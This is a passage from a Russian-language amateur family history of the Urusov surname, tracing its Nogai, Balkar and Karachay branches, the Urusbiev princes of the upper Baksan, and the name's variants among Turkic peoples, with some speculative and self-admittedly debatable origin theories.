«большинство из них ушло в юрт черкесов и туманов» (черкесы - горцы Северного Кавказа; туманы - Кумыкия, в XVI веке, город Тюмень (не сибирский, а среднеазиатский). Здесь они смешались с остатками разбитых алан. Пребывание половцев в горах Северного Кавказа подтверждается рядом погребений XIII-XIV веков в районе сел верхнего Чегема. Погребения совершались в деревянных ящиках. Язык кипчаков оказался более устойчивым, чем местный, и стал господствующим. Кипчакские слова и выражения полностью соответствуют цокающему диалекту современного балкарского литературного языка.
В начале этой главы было отмечено, что после гибели Урус бия (князя Ногайской орды) в 1590 году его и его сына хоронят в селе Верхний Учкулан (современное название). И это пройдя расстояние около 1000 километров от междуречья Урала и Волги через враждующие племена и народы Малой Ногайской орды, калмыков, казахов и других народов. Все это означает, что Карачай их родина, предки Урус бия были захвачены татарами в 1220-1223 или 1238-1239 годах, и они шли домой, устав от войн. Позже часть рода Уруса, получив по праву наследования титул князей, переселилась из Учкулана (т.е. верховьев Кубани) в Приэльбрусье, основав селение Урусбиевское (Верхний Баксан), при этом связь со старой фамилией не прерывали.
Таким образом, ногайцы тоже имеют право на приоритет образования фамилии Урусовы на Северном Кавказе.
Сделав отступление племени орузи и Урусовых, вернемся снова в 1780 год, когда 160 бедняков племени орузи пасли свой скот под горой Эльбрус. Отметим, что балкарские селения находились в труднодоступных ущельях рек Баксана, Чегема и Черека. В 1770 году в четырех (без урусбиевцев) балкарских общинах насчитывалось 1560 дворов (семейств), в том числе - Балкарском – 1000, Безенгиевском – 100, Хуламском - 100 и Чегемском - 360. Если иметь в виду, что каждая большая семья состояла из 10-12 человек, то получим от 15 до 20 тысяч человек.
В Балкарии господствовали таубии (князья):
- в черекском обществе – Абаевы, Айдебуловы, Жанхотовы, Мисаковы;
- в хуламском – Шакмановы;
- в безенгиевском – Суншевы;
- в чегемском – Балкаруковы и Келементовы;
- в баксанском – Урусбиевы, находящиеся в вассальской зависимости от кабардинских князей Атажукиных.
Итак, урусбиевцы поселились после чегемского ущелья в местности Камык баксанского ущелья (1715-1743), а затем перешли выше по ущелью в местность Ичкумель. Сюда же прибыли и две семьи подчиненных им вассалов, а также незначительное число крестьян и рабов. Позднейшие поселенцы должны были просить землю у урусбиевых, которые, впрочем, наделяли их с большой щедростью, дорожа приобретением рабочих рук.
Вскоре возник конфликт между урусбиевцами и кабардинским князем Атажукиным, которым урусбиевцы должны были платить дань. Начались военные действия. Атажукиным помогали чегемцы, а урусбиевцам - сванеты. Борьба имела переменный успех; Атажукины отступили, но борьба, видимо, закончилась не в пользу урусбиевых, которые вынуждены были уйти с Баксана в Карачай (на свою родину?). Балкаруковы (чегемцы) отвоевали у урусбиевцев местность Белым и земли современного села Бедык. Род Урусбиевых переселился еще выше по Баксану в Баксанскую долину, основав там аул Урусбиевский (1795г.). Из четырех братьев Урусбиевых, сыновей Чепеллеу (прил.39) (Алий, Исмаил-2, Магомет и Кандаура), особенно в непримиримом отношении к насильникам находился средний сын Кандаура. После трагической смерти (1795г.) Кандаура его жена Уба-Бийче, опасаясь за жизнь сыновей Эльмырза и Алхаза, вместе с младшим братом мужа Магометом, 100 дворами подвластных крестьян и другими выходцами из Баксанского ущелья переселились в местность Джамагат (приток реки Теберды) Карачая.
Вероятно, что и до баксанских переселенцев в Джамагате проживало некоторое население. Здесь находили приют и защиту абреки из окрестных горских племен. Но эпидемия чумы, пронесшаяся над Северным Кавказом, уничтожила это поселение. В Карачае, кроме Джамагата, были опустошены и другие поселки, целые фамильные кварталы в Учкулане… Хурзуке. Среди балкарских переселенцев умерли Алхаз и Эльмырза Урусбиевы. С известной долей вероятности можно полагать, что 1808-09 года были роковыми для Джамагата, поскольку конец 1809 года характеризуется как начало отступления эпидемии на Северном Кавказе, хотя она и продолжалась вплоть до 1812 года (300\43\ 140). В преданиях говорится, что оставшиеся в живых жители Джамагата разбрелись в разные стороны. В 1883 году в Верховьях Теберды К.Ф.Ган записал трагическую «элегию», описывающую горе Уба-Бийче Урусбиевой (211а\ 108). Аналогично воспроизводится и в песнях «Эмина» (чума) или «Урусбиевы», а также поэма М.Ю.Лермонтова «Хаджи Абрек».
Обратное перемещение баксанцев проходило двуэтапно. Часть из них осела среди кубанских карачаевцев (50 домов, построенных при впадении Хурзука в Кубань с правой стороны (современный Учкулан)), а другая часть – среди своих сородичей в районе Джалпак (211а\107). Об этом пишет Ю.Клапрота (1808г.): «К карачаевцам принадлежит еще род Урусби, живут к северо-востоку отсюда (т.е. Кубани) на отрогах горы Чалпак (Джалпак), которая отделяет Карачай от Баксана. Здесь насчитывается 150 семей». Эти сведения говорят о том, что в это время карачаевцы и балкары жили совместно. Поэтому даже в более поздние времена выходцы из Баксана называли себя карачаевцами, баксанскими карачаевцами. В 1860 году 21.1% жителей Баксана (Урусбиевцы) называли себя карачаевцами, а во время переписи 1897 года – 216 человек.
В Карачае, на правом берегу реки Джамагат, (приток реки Теберды) находятся могилы-склепы двух братьев Урусбиевых – Алхаза и Эльмырзы. Вблизи могил расположены развалины селения. Карачаевцы передают, что здесь жили выходцы из Баксанского ущелья.
Из погибшего Джамагата в верховья Баксана (в Баксанскую долину, куда переселились оставшиеся три сына Чепеллеу) возвратились из урусбиевых единственный сын Магомета (прил.39) – Мусос Урусбиев со своими подданными в 1809 году. Во время возвращения урусбиевцев из Карачая старшим баксанского общества (Урусбиевых) стал Оруспий, сын основателя атаула Алийлары. После смерти Оруспия его заменил Мырзакул, сын Исмаила-2, двоюродный брат погибших Алхаза и Эльмырзы. Во времена Мырзакула, гласит предание, старшими в роде Урусбиевых были Мырзакул, Кучук и Мусос. Кроме них, среди мужчин Урусбиевых жили семеро сыновей Оруспия, четверо Мырзакула, один Келемента и два Мусоса. Таким представляется тукум Урусбиевых к 1830-м годам.
К концу 20-х годов в Баксанскую долину возвращается часть урусбиевцев с Джалпака Карачая и некоторые карачаевцы с Большого Карачая .
В 30-х годах XIX века население баксанских урусбиевцев насчитывало 88 дворов, а карачаевцы обитали в верховьях Кубани, Теберды и Учкулана, но в источниках 40-х годов XIX века район верховьев Теберды отмечается как район, где отсутствуют поселения.
Чума, пронесшаяся в начале века по Северному Кавказу, истребила 5\6 части населения. Походы русских генералов Ермолова в 1822 году в Кабарду и Балкарию и Эммануэля в Карачай в 1828 году разорило и развеяло почти всю Кабарду (убито 10 тысяч душ), поэтому их влияние на карачаевцев и балкарцев ослабло. В свою очередь последние, испытав силу оружия русских, сделались не так предприимчивы к хищничеству, начали обращать внимание на свое хозяйство.
После возвращения урусбиевцев из Карачая, отношения их с Атажукиными оставались напряженными. Об этом говорит поданное в 1822 году Урусбиевым на имя генерала А.П.Ермолова ходатайство о дозволении ему снова переселиться, на этот раз в пределы России, на правый берег реки Кубань. Ходатайство было отклонено.
Рассматривая урусбиевцев, мы рассмотрели и саму Балкарию, ее общества малкарцев (балкарцев), хуламцев, безенцев и чегемцев до наступления русских на Кавказ. А что было у карачаевцев? Мы их оставили, когда в 1654 году А.Ламберти указал, что северо-западнее сванов находятся карачаевцы. Отсюда следует, что карачаевцы ушли из Баксана между 1643 и1654 годом. После долгих поисков карачаевцы нашли долину Хурзука, здесь они «осели» прочно, постепенно расселились по соседним долинам рек - так был основан Большой Карачай, занимающий в настоящее время три сравнительно больших аула Хурзук, Учкулан и Карт-Джюрт. Эти три аула вместе с двумя, Даутом и Джазлыком, расположенным на реке Даут, составляют старый аристократический Карачай, населенный преимущественно биями (князьями) и их немногочисленными бывшими крепостными. С течением времени население верхней Кубани возрастает как следствие привода пленных, так и от пришельцев. В карачаевцах резко отличаются признаки типов мингрельского, чисто татарского и абхазского, именно народов, живущих в соседстве с Карачаем.
Кроме этого, терский воевода М.И.Волынский в 1643 году упоминает о «карачаевских черкесах», которые жили «в Кабарде… под пяти горами», т.е. около Пятигорска.
Основную роль в хозяйстве Карачая играли скотоводство и охота, мало земледелие. Производство в основном домашнее: кузнечное дело, выработка железной руды. Местные мастера изготовляли разные металлические вещи, необходимые для быта и погребения. Из дерева изготовлялась значительная часть орудий труда, домашняя утварь. По рассказам, Карачай покорен в 30-е годы генералом Эммануэлем (27 октября 1828 год – каменная плита с этой датой завоевания русскими Карачая). Верхушка Карачая, осознав невозможность противостояния оружию русских, покорилась им. Эта победа положила начало русскому владычеству в Карачае. Были установлены пикеты вдоль Кубани, которые контролировали ход событий жизни карачаевцев.
После освобождения крепостных, прошедшего в Карачае в конце 60-х годов XIX века, были заселены ущелья ниже Большого Карачая бывшими крепостными, составляющими так называемый Малый Карачай (Теберды, Сенты…). Крепостные частью сохранили свои прежние прозвища, частью присвоили себе фамилии своих господ. В Учкулане известны своею многочисленностью фамилии Байракуловых (более 60 дворов), Байчоровых (40 дворов), Урусовых (десятка два дворов по 20-25 человек в каждом дворе) и т.д. По данным Дьячкова-Тарасова (т.1,1928,с.21), в Учкулане У р у с о в ы по своей численности превышали представителей родов Тебуевых, Айбазовых, Шамановых, Семеновых вместе взятых!
Как знаем, урусбиевская орда после гибели Урус бия вступила на землю карачаевской земли в 1590 году, дальнейшая ее жизнь с 1590 года по 1643\ 54 года не известна. В 1643\1654 году карачаевцы заселяют территорию Большого Карачая, и опять ни слова об Урусовых. Впервые об Урусовых- карачаевцах упоминается только в конце 60-х годов XIX века.
Урусовы считают себя Адурхаевыми (напомним, по легенде, Адурхаев – один из 4-х товарищей Карчи – родоначальника всего Карачая). В основном, все появившиеся фамилии в Карачае старались иметь род от самого Карчи или его четырех товарищей (Будиянов, Науруз, Адурхаев и Трам) по прямой или по женской линии. Кроме этого, по преданиям, во время движения Карчи к нему примкнуло много людей, они тоже сделались родоначальниками нескольких больших фамилий (Хубиевы), много людей пришло с соседних племен (Кабарда, Сванетия, Армения и конечно, русские).
Новый вариант происхождения фамилии Урусовы, Р У С С К И Й !!! Ведь мусульмане и монголы всех светлых (светловолосых) называли «урусами». (Семеновы (по преданию) от русского беглеца).
Таким образом, в состав карачаевского народа вошли самые разнообразные элементы: адыгеи (кабардинцы), сванеты, абхазы, иранцы (осетины) и др. Все эти последовательные наслоения в значительной степени стерли основные тюркские черты племени и отразились как на духовных качествах, так и на физическом его типе.
Рода (фамилии) карачаевцев могли увеличиваться за счет:
- от своих родоначальников;
- от братьев-головешников, т.е. кровных братьев, унесших при разделе из отеческого очага головни для новых очагов;
- молочные братья, воспитанные из других племен, и принявшие фамилии воспитателей;
- «под палкой» - проход чужеземца под палкой, которую держали старейшие рода. Это было выгодно и пришедшим в чужой род (под защиту) и принимаемой стороне (она увеличивалась, что придавало ей большую силу и значение);
- женитьбы бия, только своего уровня и с другого племени;
- крестьяне, освобожденные крепостные, взявшие фамилию своих господ.
Карачаевцы – горские татары. Проживают в селениях Учкулан, Сента, Хурзук и т.д., на северном склоне Главного Кавказского хребта, верховье реки Кубань. Происхождение – черная (кара) река (чай). Язык – тюркско-татарский, схож с осетинским и ногайским!!!
Вера – до 1640 года – христианство, а после – ислам.
Так как Урусовы жили в основном в Учкулане, то кратко рассмотрим его.
Местные старожилы полагают, что аул Учъ-куланъ был основан лет 400 назад (ок.1500г.). Аул растянулся по реке Учъ-кулану верст на семь. В его состав входит 14 кварталов (фамилий, родов). Урусовский квартал расположен в «верхнем крае». В ауле считается до 800 дворов. Жителей, по переписи 1897 года, считалось 6668 человек. Коренные жители Учкулана все называют себя узденями (дворяне). Самыми почетными родами считаются Наурузовы (тов. Карчи). В ауле есть 10 зданий (1913г.) под железной крышей: правление, 5 школьных и др. зданий, мечеть и 3 частных здания. Кроме этого, 5 мечетей, 15 лавок (содержат горские евреи и грузины). В ауле 3 кузнеца, 1сапожник и 2 «серебряка». Население занимается скотоводством, земледелием, изготовлением бурок и домашнего сукна. У жителей Учкулана имеется 6566 лошадей (1913г.), 10551 шт. крупного рогатого скота, 62300 овец и коз. Удобной земли аула - 385 десятин пахотной и 120 десятин сенокоса.
В настоящее время Учкулан не представляет собой средоточие обособленных кварталов, где живут представители только одной фамилии. Тем не менее, старые названия кварталов остаются. Так, если Урусовы проводят свои фамильные праздники, то они обязательно проходят в Урусовском квартале. На это торжество собираются представители всей фамилии независимо от возраста и национальности. На празднике устраиваются традиционные карачаевские конноспортивные соревнования, танцуют, поют. Так как праздник длится целый день, готовятся национальные угощения.
Территория, на которой живут карачаевцы - это преимущественно горный край, горные цепи порезаны перевалами как в Сванию, так и в Абхазию и Балкарию. Ледники Эльбруса и Большого Кавказа питают речную систему Кубани. Много в Карачае минеральных вод и озер. Климат разнообразен, долины рек покрыты прекрасным лесом (1900г.). Почвы горно-луговые, горные черноземы в предгорьях; столь же разнообразна фауна Карачая, недра богаты ископаемыми. Численность карачаевского населения по переписи1970 года – 112741 человек. За пределами России карачаевцы проживают в Турции, Сирии, Иордании; это волны переселений второй половины XIX и начала XX веков.
После завоевания российскими войсками Кабарды и Балкарии в 1822 и Карачая в 1828 годах жизнь этих народов была широко изучена русскими учеными, историками и путешественниками В.Ф.Миллером, М.М.Ковалевским, И.И.Иванюк, И.Леонтьевым, музыкантами С.И.Таневым и многими другими. В их изданной литературе дано много материала как о происхождении этих народов, так и об их жизни, взаимоотношениях, нравах и быте.
До революции 1917 года верховья реки Баксан принадлежали князьям (таубиям) Урусбиевым. На старом кладбище селения и сейчас сохранились руины их фамильных склепов. Первым упоминанием об урусбиевцах является балкарская надпись арабским шрифтом 1715 года, вырезанная на каменной плите. Надпись гласит о том, что Исмаилу Урусбиеву отводится определенная территория в нынешней Кабардино-Балкарии. Раньше уже рассматривали перемещение Оруспиевых (Урусбиевых) и отмечали, что первыми поселившиеся в Баксане были братья Джаппу и Чепеллеу (в некоторой литературе и Мусос). Вероятнее всего они были сыновьями упоминаемого Исмаила (прил.39). Чепеллеу имел сыновей Алия, Магомета, Исмаила и Кандаура. После возникшего конфликта между кабардинским князем Аташукиным и Урусбиевыми в конце XVIII века погиб один из сыновей Чепеллеу Кандаура; его жена Уба- Бийче вместе с братом мужа Магометом и своими сыновьями ушли к карачаевцам в Теберду и основали знаменитый аул Джамагат ( в народе называемый Урусбиево). Оставшиеся три брата перебрались еще выше по реке Баксан в Баксанскую долину, незаселенную к тому времени, и положили здесь основание нынешнему Урусбиевскому аулу (с 1917 года Верхний Баксан). Аул расположен на левом берегу р. Баксан на скате гор у самой подошвы Эльбруса, с востока. Высота аула над уровнем моря 5136 футов (1566 метров). В этом месте долина Баксана значительно расширена и открыта. Со всех сторон она окружена крутыми и высокими склонами, покрытыми сосновым лесом. Обилие воды здесь поразительное. С одной стороны Баксан катит свои воды с ледников, заняв своими извилистыми разветвлениями значительную часть долины. Здесь же бушуют малые речки Кыртык, Адырь, Адыль и Сылтран. Долина замыкается горами Тхотитау, Эльбрусом и Курмаши. Окрестности аула очень живописны.
Первоначальное население (горские татары) было малочисленное, не более 20 дворов. После Чепеллеу старшим рода был Алей (основатель Алийлара), а после него его сын Оруспий, который и управлял урусбиевцами после возвращения Мусоса из погибшего Джамагата в 1809 году. После смерти Оруспия его заменил Мырзакул (прил.39), сын Исмаила-2, который правил более 20 лет. С этой горстью храбрецов пришлось урусбиевцам отстаивать свою независимость от соседей; они то подпадали под главенство Кабарды и платили дань ее князьям Атажукиным, то обращали эту зависимость в пустой звук.
Посещение и изучение Урусбиевского аула происходило во второй половине XIX века, в это время старшим урусбиевского рода был Исмаил-3, сын Мырзакула 1831 года рождения. Могучая, как бы из железа скованная фигура Исмаила внушала бодрость и уверенность, дыша здоровьем и жизнью. Владетель значительной части баксанской долины, князь, лучший знаток и путеводитель Кавказа, ему принадлежат огромные стада овец, крупного рогатого скота и лошадей. В 1853 году Исмаил получил чин прапорщика милиции, а с 1868 года произведен в подпоручики. Вся его жизнь прошла на Кавказе, он один раз выезжал в Петербург и Москву, ни в какой школе не учился, читает только по - арабски, тем не менее имеет весьма обстоятельные сведения по истории. Он отличный знаток народных преданий и легенд, голова его кишит гипотезами о заселении Кавказа, о его прошлых судьбах, феноменальная память; цитирует на память Добролюбова. Двери его дома всегда настежь открыты для посещения как простых односельчан, так и для приезжих. У горских татар нет имени более популярного, чем имя Исмаила Урусбиева, во всем Исмаил первый. Князь играет на музыкальных инструментах (кобуза, сыбысхе, харс), напевает песни о горских татарах; песни, воспевающие богатырей-нартов, старые песни о войнах и новейшие песни, описывающие войну с русскими; другие имеют любовное содержание.
У князя Исмаила Урусбиева два дома: один для семьи, а другой, состоящий из трех больших комнат, – для туристов, принимал у себя «всех русских и иностранных альпинистов, путешественников и исследователей Кавказа». Вместо мебели лавки и столы, на ночь приносят матрасы и стелят их на полу. В мужской половине дома – две комнаты, украшенные низкими диванами, коврами, оружием и рогами. Во владениях Исмаила было 294 двора и 2200 душ населения. Земли – до 80-и тысяч десятин, а удобной для эксплуатации не более 6000, из них 300 десятин под посевы. В хозяйстве князя 300 голов крупного рогатого скота, 200 лошадей, до 1500 баранов и овец (1885г.). Почти все предметы первой необходимости урусбиевцы изготавливают сами. Покупают чай, сахар, свечи и соль.
Магомет, брат Исмаила, командир полка русской армии, был убит (в отпуске) сванетом, когда Магомет преследовал его, занимавшегося кражей татарских лошадей.
Хамзат, член городского суда Нальчика, начитанный, образованный человек, представитель нового типа среди горцев, реформатор, европейски развит. Проведя несколько лет на военной службе, он уехал за границу и в Швейцарии изучал сыроварение; на Баксане построил завод по изготовлению сыра. Сначала дело шло на лад, сыр, изготавливаемый новым способом, оказался превосходен и находил сбыт во Владикавказе.
Александр, полковник, впервые в истории Балкарии начал вести лесное дело, пытаясь рационально поставить разработку лесных богатств и урегулировать эксплуатацию леса на коммерческой основе, выкупая леса. Первые искры недовольства народных масс стали вспыхивать в урусбиевском в 80-е годы XIX века. В 1882 году бывшие холопы БОЧАЯ (?) Урусбиева (после отмены крепостного права) отказались отбывать какие бы то ни было повинности, оплачивать взносы в царскую казну; участились самовольные перемещения крестьян на новые места жительства. В урусбиевском обществе волнения достигли наибольшей силы в период с 1889 по 1897 годы. Коренной причиной народных волнений был аграрный вопрос, но после запрещения «под страхом строгой ответственности» вырубки леса в ответ на это начались массовые самовольные порубки леса, борьба за земельные угодья, за выпасы скота. Аресты, выплата штрафов, которым подвергались крестьяне, не смогли сломить их сопротивление. Крестьяне вели борьбу за свои права не только против феодалов Урусбиевых и царских властей, но и против мусульманского духовенства.
В 1904 году на войну c Японией намечалось сформировать сотню из кабардинцев и балкарцев. Наотрез отказалось дать добровольцев Урусбиевское общество. Старшина общества сообщал, что «идти добровольцем в сотню терско-кабардинского конного полка, находящегося на военных действиях, никто не пожелал». Усилившийся гнет заставил некоторых балкарцев покидать свою родину и уезжать в поиске счастья в Америку и другие страны.
Балкария являлась одной из наиболее отсталых окраин царской России. Почти не имея связи с внешним миром, балкарский народ находился в унижающей темноте. В этом были заинтересованы князья и мусульманское духовенство. До 1917 года балкарцы не имели своей письменности; даже серьезных попыток для ее создания не было. Правда в работе «В горских обществах Кабарды» В. Миллера и М.Ковалевского указывается: «В настоящее время один из туземцев, Сафар-Али Урусбиев, занимается составлением грамматики родного языка (балкарского), применив русскую азбуку к выражениям его звуков». Этот «туземец», обучался в Петровской академии (ныне сельскохозяйственная академия имени Тимирязева). Грамматика эта не увидела света, азбука не была составлена. Сафар Урусбиев, старший сын Исмаила-3, (прил.39) известен как первый балкарский фольклорист. Впервые он познакомил русского читателя с творчеством балкарского народа, собрав и издав на русском языке «Сказания о нартских богатырях у татар-горцев Пятигорского округа Терской области». Они были опубликованы в 1881 году в Тифлисе в «Сборнике материалов для описания местности и племен Кавказа», выпуск I. Сафар в сказаниях дал образ народного певца, пользовавшегося уважением и любовью народа (вспомним отца Сафара) за неподкупную, как совесть, песню. Эти народные любимцы впали в немилость у мулл. В споре с муллой, певец поет: «Твое дело только грабить и обирать народ. Ты грабитель и обманщик. А я словом своим из труса делаю храбреца, защитника свободы своего народа». Данный урусбиевский образ народного защитника – певца используется передовыми русскими писателями. Кроме этого, Сафар оказывал большую помощь ученым в их работе по сбору материала. «Имея по всем аулам родственников, Сафар-Али, писали М.М.Ковалевский и В.Ф.Миллер, мог открыть нам самый широкий доступ к горскому гостеприимству и поместить нас в наиболее богатые кунацкие». Здесь он был и проводником и переводчиком.
По следам Сафара пошли и другие просвещенные кавказские учителя (М. Алейников «Карачаевские сказания», Е. Баранов «Сказки горских татар»). Н.А.Караулов в начале XX века занимался изучением балкарского языка и опубликовал ряд работ.
Другой сын Исмаила Урусбиева – Науруз – в 1885 году окончил Владикавказское реальное училище, для своего времени был образованным и культурным человеком, встречался с выдающимися русскими композиторами П.И.Чайковским и С.И.Таневым. По совету Танева Науруз собирал и записывал народные песни – сказания, которые были опубликованы Н.П.Тульчинским в 1903 году. Науруз продолжал дело отца и принимал у себя «…всех русских и иностранных альпинистов, путешественников и исследователей Кавказа». Он был действительным членом Горного общества в Пятигорске и своим постоянным содействием альпинистам и геологам немало способствовал изучению Эльбруса и вершин Главного хребта.
В семье Урусбиевых гостили многие путешественники и исследователи Большого Кавказа – геологи, топографы, этнографы, археологи, композиторы, писатели и художники. В ведущейся Урусбиевыми книге для туристов имеются признательные записи многих знаменитых людей при восхождении на вершину Эльбруса и просто туристов – русских, англичан, немцев, французов и других национальностей. Все они имели радушный прием в Урусбиевском ауле у Урусбиевых, живущих у подножья Эльбруса.


Итак, мы рассмотрели происхождение фамилии Урусовы, историю этой фамилии, и ее три ветви:
- ногайская;
- русская;
- северокавказская.
Но ведь кроме этого, У р у с о в ы могут существовать и другим образом. Слово «урус»
(человек, ведущий русский образ жизни, рожденный от русской женщины, русоволосый) относится как к имени человека, так и к целым народам. Впервые (из перечисленной литературы) встречаются:
- 1207 год – Урус-инал – это правитель киргизов в годы правления Чингиз-хана в стране находящейся севернее озера Байкал;
- 1301-1303 годы – Урус – правитель Угедейского улуса, правнук Угедея, сына Чингиз-хана;
- 1369-1378 годы – Урус-хан – правитель Золотой Орды, Синей Орды, Астрахани и Узбекского союза. Его преемники сформировали народы казахов, киргизов, караколпаков, ногайцев, туркмен, и у этих народов должна и есть фамилия Урусовы (54,т.2\ 159);
- 1578-1590 годы – Урус-князь – правитель Ногайской Орды, родоначальник фамилии Урусовых (князей в том числе);
- в XIII веке при появлении татар на территории Руси они стали называть «руссов» УРУСАМИ, т.е. русскими.
При появлении фамилий в Руси в XV-XVI веках от Урусовых появились разновидности фамилий у различных народностей:
- Урусба – башкиры; - Урусбиевцы – балкары;
- Наурус – бухарцы; -Урус – казахи;
- Урусона – кинчаки; -Урумет – ногайцы;
- Урусоба – половцы; - Урухчи – туркмены;
- Урустай – узбеки;
- У р у с о в ы - у русских, карачаевцев, чеченцев, осетин, кабардинцев и у других народов. У каждого народа интересное происхождение фамилии Урусовы или ее разновидности.

Вот что говорят о происхождении своей фамилии кабардинцы Урусовы: «Давным-давно у некого кабардинского князя не было сыновей. А у горца неимение сына считалось большим горем, и поэтому существовало такое правило: он брал себе на усыновление мальчика из другой семьи. Вот таким образом кабардинский князь, не имевший наследника, и привез себе на воспитание мальчика из верховьев Кубани. Но при этом название рода, выходцем из которого был усыновленный, не изменялось». Эта история записана автором со слов одного из старейших представителей кабардинской ветви Урусовых, проживающего в селе Черная речка Урванского района Кабардино-Балкарии (350\10).
О русском происхождении фамилии Урусовы филолог С.А.Гочияева пишет: « Известно происхождение многих карачаевских фамилий на русской основе: Орусла-ры – Урусовы (от орус «русский»). На тюркских языках этноним «русский» приобрел форму орус-урус. Для понимания причины этого обратимся к структуре и особенностям тюркских слов. Исследователь Р.А.Агеева, поясняя причину перехода этнонима рось-русь в орос-урус, пишет: « Тюркским языкам не свойственно начальное Р, поэтому тюркское происхождение этнонима рось-русь невероятно, отсюда этноним русский в тюркских языках приобрел форму орус-урус» (6\ 133). Поэтому ясно, откуда появилось на тюркских языках обращение орус-урус к русскому человеку. Кроме этого, на языках фино-угорской группы (фины, мордва, эстонцы, карелы, вогулы) УРОС означает мужское начало, самец, а Urhu – нора, убежище – древние поселения фино-угорских племен.
Появились и населенные пункты (в основном села и деревни Урусовы) компактного проживания Урусовых в России (прил.40) в вологодской, липецкой, московской, саратовской, свердловской, тульской, ульяновской и ярославской областях; в Мордовии, Татарстане, Ставрополье, на Кавказе (Карачаево, Балкария, Осетия, Дагестан, Чечня, Кабарда). Известен городок Урос в Перми Великой, который назывался в походе Ивана III в 1472 году. Происхождение селений различное: от дач - поместий князей Урусовых, от русских укреплений, которые татары называли «урусами», а также от обедневших Урусовых, основывавших новые поселения.

****** ******** ********


Наше повествование подошло к концу. Мы проследили историю фамилии Урусовых от первоначального источника до реальных ее потомков, выяснили ее связи с другими фамилиями. Мы рассмотрели три версии возникновения фамилии: русская, ногайская и северокавказская, но возможны десятки, сотни других, которые не возможно проследить из-за отсутствия времени, литературы или трудности поиска информации.
На мой взгляд, исходя из наличия фамилии У р у с о в и первоначального времени появления фамилии (1580-1590 годы), первоочередная версия возникновения фамилии – т ю р к с к а я. Но эта фамилия появилась в р о д у у Урус князя, происхождение которого весьма запутанное. Отрезок жизни от Эдигея до Урус князя хорошо изучен и представлен в документах и литературе. Но до Эдигея – «потемки», и после смерти Уруса тоже не светлее. Ногайская фамилия Урусовых постепенно исчезает или переходит в другие фамилии (прил.31). И только в 1780 году на Кавказе появляется племя «оруспи», состоящее из 160 бедняков (а в это время княжеский род Урусовых в Москве процветает, входит в число 16 знатных фамилий России, породнился с царским родом). Тогда непонятно, какая может существовать связь между Ногайской Ордой, державшей в страхе Золотую Орду, юго-восток России и даже Европу (разгром в 1399 году польско-литовских войск Эдигеем), и спустя почти 200 лет десятком мужчин - бедняков, мирно пасших овец высоко в горах у подножья Эльбруса?
Но, как бы не было, фамилия Урусовых пустила корни в средней полосе России, на Урале, на Кавказе, во Франции, в США и других странах.
Многие из рода Урусовых прямо или косвенно влияли на политику русского двора, ногайского народа и народов Северного Кавказа. В частности, Петром Янараслановичем (Урак) был убит царь России Лжедмитрий II. Семен Андреевич, победитель войск Литвы, командовал русской армией по защите Москвы от Литвы и Польши, его жена - двоюродная сестра первого царя России от Романовых. Немаловажную роль играли Урусовы и в культурной жизни России. Московскому университету был подарен музей минералов, монет, медалей, мозаики и прекрасная библиотека Александром Александровичем. Под руководством Петра Васильевича (совместно с Медоксом) был открыт Большой театр (первый каменный театр). Прекрасно себя показали Урусовы – писатели, балерины, поэты, шахматисты; многие занимались благотворительностью.
Возможно, далеко не все тезисы работы бесспорны, со многими из них можно не согласиться. Законченной работы не бывает, исследование должно быть продолжено. Важно знать не только настоящее, но и прошлое, чтобы не заблудиться в вечном и безмерном лесу человеческой истории. Ведь не столько само прошлое, сколько именно его связи с настоящим волнуют современников, определяют их отношения к предшествующим поколениям, к результатам их деятельности. Человек не должен относиться отстраненно к собственной истории, и в этом отношении прав А.С.Пушкин:
« Гордиться славою своих предков не только можно, но и должно,
Не уважать о ней есть постыдное малодушие.
Уважение к минувшему – вот черта,
Отличающая образованность от дикости».
Вот таким образом, каждый У р у с о в, должен знать и передавать от старшего к младшему и с т о р и ю своей ф а м и л и и, и с т о р и ю своего р о д а, и с т о р и ю своего н а р о д а.

Диплом Урусовых.

Ангел. Ф а м и л ь н ы й д и п л о м. Ангел.

У Р У С О В.

Фамилия УРУСОВ представляет собой уникальный памятник соединения тюркских, татарских, северокавказских и русских народов; как мусульманских так и славянских.

Фамилия УРУСОВ имеет:
- мусульманское происхождение, от ногайских князей, в соответствии с Общим Гербовником Российских князей;
- монгольское происхождение, которое, возможно, шло от самого Чингиз-хана (татары) или через порабощенные племена из Средней Ази